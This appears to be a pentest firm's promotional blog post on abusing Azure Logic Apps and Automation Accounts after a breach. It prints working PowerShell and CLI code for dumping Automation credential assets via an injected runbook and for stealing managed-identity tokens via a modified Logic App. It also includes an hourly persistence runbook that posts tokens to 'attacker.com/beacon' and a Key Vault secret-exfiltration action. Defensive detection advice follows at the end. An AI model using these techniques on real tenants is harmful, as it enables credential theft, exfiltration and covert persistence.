Cloud-native automation tools are the backbone of modern enterprise infrastructure. Azure Logic Apps and Azure Automation Accounts empower organizations to orchestrate workflows, manage runbooks, and automate repetitive tasks at scale. But these same capabilities make them high-value targets during a red team engagement or a real-world breach. Attackers who land inside an Azure environment often pivot directly to these services because they carry privileged identities, store credentials, and execute code with minimal friction.
This blog breaks down how Azure Logic Apps and Automation Accounts are abused in the wild, the exact techniques and commands used during exploitation, and what defenders need to watch for. If your organization runs workloads on Azure, this is essential reading.
Ready to test your Azure environment before attackers do? Get professional Azure pentesting from Redfox Cybersecurity.
Azure Logic Apps is a cloud-based integration platform that lets you automate workflows between applications, data sources, services, and systems. Logic Apps are built on triggers and actions, can connect to hundreds of connectors (Office 365, SharePoint, SQL, HTTP endpoints, and more), and often run under a Managed Identity or service principal with broad access.
Azure Automation Accounts are used to manage runbooks (PowerShell or Python scripts), scheduled jobs, configuration management via DSC (Desired State Configuration), and hybrid runbook workers that connect on-premises infrastructure to Azure. They frequently store credentials in Credential Assets, certificates, and connection objects that are used across the environment.
Both services are routinely misconfigured, over-privileged, and under-monitored, making them a goldmine during post-exploitation.
Once an attacker has authenticated to an Azure subscription (via stolen access tokens, compromised service principals, or phished credentials), Logic Apps are among the first things enumerated.
Using the Azure CLI:
az login --use-device-code
# List all Logic Apps in the subscription
az resource list --resource-type "Microsoft.Logic/workflows" -o table
# Get details of a specific Logic App
az logic workflow show --resource-group <ResourceGroupName> --name <LogicAppName>
[cta]
Using PowerShell (Az module):
Connect-AzAccount
# List all Logic Apps
Get-AzLogicApp | Select-Object Name, ResourceGroupName, State, Location
# View Logic App definition (includes triggers, actions, connectors)
Get-AzLogicApp -ResourceGroupName "<RG>" -Name "<LogicAppName>" | ConvertTo-Json -Depth 10
[cta]
The definition output is critical. It reveals what connectors are authorized, what credentials are embedded or referenced, and what downstream systems the Logic App touches. Look for HTTP actions pointing to internal APIs, connection strings, and OAuth tokens stored in connection resources.
# List all Automation Accounts
Get-AzAutomationAccount | Select-Object AutomationAccountName, ResourceGroupName, Location
# List runbooks inside an Automation Account
Get-AzAutomationRunbook -ResourceGroupName "<RG>" -AutomationAccountName "<AAName>"
# View runbook content (PowerShell runbooks are human-readable)
Export-AzAutomationRunbook -ResourceGroupName "<RG>" -AutomationAccountName "<AAName>" -Name "<RunbookName>" -OutputFolder "C:\Temp\" -Slot "Published"
[cta]
Runbook source code often contains hardcoded credentials, internal hostnames, connection strings, and resource IDs. This is one of the most consistently rewarding areas during Azure assessments.
Concerned about what an attacker could find in your Azure environment? Talk to the team at Redfox Cybersecurity today.
Automation Accounts support Credential Assets, which store username/password pairs used by runbooks. While the passwords are not directly readable through the portal, they can be extracted by writing and executing a runbook inside the account.
If you have Automation Contributor or higher privileges:
# Create a runbook that dumps credentials
$runbookContent = @"
workflow DumpCreds {
`$cred = Get-AutomationPSCredential -Name 'AdminCreds'
`$username = `$cred.UserName
`$password = `$cred.GetNetworkCredential().Password
Write-Output "Username: `$username"
Write-Output "Password: `$password"
}
"@
# Import and publish the runbook
Import-AzAutomationRunbook -ResourceGroupName "<RG>" -AutomationAccountName "<AAName>" -Name "DumpCreds" -Type PowerShellWorkflow -Content $runbookContent
Publish-AzAutomationRunbook -ResourceGroupName "<RG>" -AutomationAccountName "<AAName>" -Name "DumpCreds"
# Start the runbook and retrieve output
$job = Start-AzAutomationRunbook -ResourceGroupName "<RG>" -AutomationAccountName "<AAName>" -Name "DumpCreds"
Start-Sleep -Seconds 30
Get-AzAutomationJobOutput -ResourceGroupName "<RG>" -AutomationAccountName "<AAName>" -Id $job.JobId -Stream Output
[cta]
This technique is reliable when the attacker has write access to the Automation Account but not necessarily to the credential vault directly.
# List all connections in an Automation Account
Get-AzAutomationConnection -ResourceGroupName "<RG>" -AutomationAccountName "<AAName>"
# Get field values of a connection (may include tokens, subscription IDs, tenant IDs)
Get-AzAutomationConnection -ResourceGroupName "<RG>" -AutomationAccountName "<AAName>" -Name "<ConnectionName>" | Select-Object -ExpandProperty FieldDefinitionValues
[cta]
Connection objects for service principals often expose the ApplicationId and TenantId, and combined with a certificate asset, can be used to re-authenticate as that service principal outside of Azure.
Logic Apps often run under System-Assigned or User-Assigned Managed Identities. These identities may have been granted Owner, Contributor, or custom roles on subscriptions, resource groups, or sensitive resources. Attackers who can trigger or modify a Logic App can effectively act as that identity.
If you have access to the Logic App's run history, you can review HTTP action calls and their associated tokens. More aggressively, you can modify the Logic App to make an outbound HTTP call that exfiltrates the managed identity token.
Add an HTTP action to the Logic App definition via REST API:
# Get Logic App access token
TOKEN=$(az account get-access-token --query accessToken -o tsv)
# Patch the Logic App definition to add a token exfil action
curl -X PUT "https://management.azure.com/subscriptions/<SubID>/resourceGroups/<RG>/providers/Microsoft.Logic/workflows/<LogicAppName>?api-version=2019-05-01" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d @modified_definition.json
[cta]
The modified definition includes an HTTP GET to the IMDS endpoint:
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
followed by an HTTP POST action that sends the response to an attacker-controlled server.
Once a token is obtained:
# Decode the token and check identity
curl -H "Authorization: Bearer <TOKEN>" \
"https://management.azure.com/subscriptions/<SubID>/resources?api-version=2021-04-01" | python3 -m json.tool
# Check role assignments for the managed identity
az role assignment list --assignee <PrincipalId> --all -o table
[cta]
If the managed identity holds Contributor or Owner on the subscription, you have effectively escalated to subscription-level access through a Logic App.
This is exactly the attack path Redfox Cybersecurity uncovers during Azure red team engagements. Book your cloud security assessment now.
Automation Accounts support scheduled jobs that run on a defined cadence. An attacker with write access can create a runbook that establishes persistence by periodically creating new admin users, refreshing tokens, or beaconing to a C2 infrastructure.
# Create a malicious scheduled runbook
$code = @"
`$tenantId = "<TenantID>"
`$clientId = "<ClientID>"
`$clientSecret = "<Secret>"
`$body = "grant_type=client_credentials&client_id=`$clientId&client_secret=`$clientSecret&scope=https://management.azure.com/.default"
`$token = Invoke-RestMethod -Uri "https://login.microsoftonline.com/`$tenantId/oauth2/v2.0/token" -Method Post -Body `$body
Invoke-RestMethod -Uri "https://attacker.com/beacon" -Method Post -Body (`$token | ConvertTo-Json)
"@
New-AzAutomationRunbook -ResourceGroupName "<RG>" -AutomationAccountName "<AAName>" -Name "Updater" -Type PowerShell
Set-AzAutomationRunbookContent -ResourceGroupName "<RG>" -AutomationAccountName "<AAName>" -Name "Updater" -Path "C:\Temp\updater.ps1"
Publish-AzAutomationRunbook -ResourceGroupName "<RG>" -AutomationAccountName "<AAName>" -Name "Updater"
# Schedule it to run every hour
$startTime = (Get-Date).AddMinutes(5)
New-AzAutomationSchedule -ResourceGroupName "<RG>" -AutomationAccountName "<AAName>" -Name "HourlyJob" -StartTime $startTime -HourInterval 1
Register-AzAutomationScheduledRunbook -ResourceGroupName "<RG>" -AutomationAccountName "<AAName>" -RunbookName "Updater" -ScheduleName "HourlyJob"
[cta]
This creates a persistent, scheduled execution path that survives password resets and MFA changes because it operates under a service principal or managed identity, not a user account.
Logic Apps with approved API connections to services like SharePoint Online, Exchange Online, Azure SQL, or Azure Key Vault can be weaponized for lateral movement and data exfiltration.
If a Logic App has an authorized SharePoint connector running under a high-privilege account, an attacker can modify the workflow to exfiltrate files or write data to SharePoint sites across the organization.
Logic Apps with Key Vault access policies can read secrets directly. Adding an action that retrieves and exfiltrates Key Vault secrets is straightforward when you control the Logic App definition.
{
"type": "ApiConnection",
"inputs": {
"host": {
"connection": {
"name": "@parameters('$connections')['keyvault']['connectionId']"
}
},
"method": "get",
"path": "/secrets/@{encodeURIComponent('DBConnectionString')}/value"
}
}
[cta]
This retrieves the secret value mid-workflow and can be followed by an HTTP action posting it externally.
Security teams must treat Logic Apps and Automation Accounts as privileged infrastructure, not just developer tooling.
Key detections include monitoring for new or modified Logic App definitions using Azure Activity Logs, alerting on new runbook creation or modification events in Automation Accounts, tracking scheduled job creation especially outside business hours, and watching for outbound HTTP calls from Logic Apps to unrecognized external domains.
Apply the principle of least privilege to all Managed Identities. Audit role assignments quarterly. Use Azure Policy to restrict Logic App connectors to approved lists. Enable Diagnostic Settings on Automation Accounts and ship logs to a SIEM.
Enable Defender for DevOps and Defender for Resource Manager. These plans add anomaly detection specifically around Azure Resource Manager operations, which covers Logic App and Automation Account manipulation at the API level.
Azure Logic Apps and Automation Accounts represent a class of cloud resources that are powerful by design and dangerous when misconfigured or over-privileged. The attack techniques described here, from credential dumping via injected runbooks to managed identity token theft through modified Logic App definitions, are actively used in real-world cloud intrusions and red team assessments.
The good news is that these attack paths are detectable and preventable with the right visibility and configuration hygiene. The challenge is that most organizations do not know these risks exist until someone exploits them.
Your Azure environment deserves a thorough, adversarial evaluation. Redfox Cybersecurity specializes in cloud penetration testing, red team operations, and Azure security assessments. Our team maps exactly these attack paths against your environment before a real attacker does.
Explore Redfox Cybersecurity's Pentesting Services and find out what your cloud infrastructure is actually exposing.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
